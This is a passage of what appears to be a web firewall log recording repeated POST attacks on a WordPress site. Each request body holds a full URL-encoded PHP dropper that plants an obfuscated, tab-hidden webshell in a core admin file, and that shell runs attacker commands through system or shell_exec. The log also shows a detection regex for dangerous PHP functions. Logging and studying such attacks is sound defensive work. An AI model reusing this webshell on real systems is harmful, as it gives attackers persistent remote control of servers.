B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:01:08","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:5380\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nbM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:01:10","62.210.185.4","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn0DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:5380\naccept:*\/*\n\nkD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:01:12","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%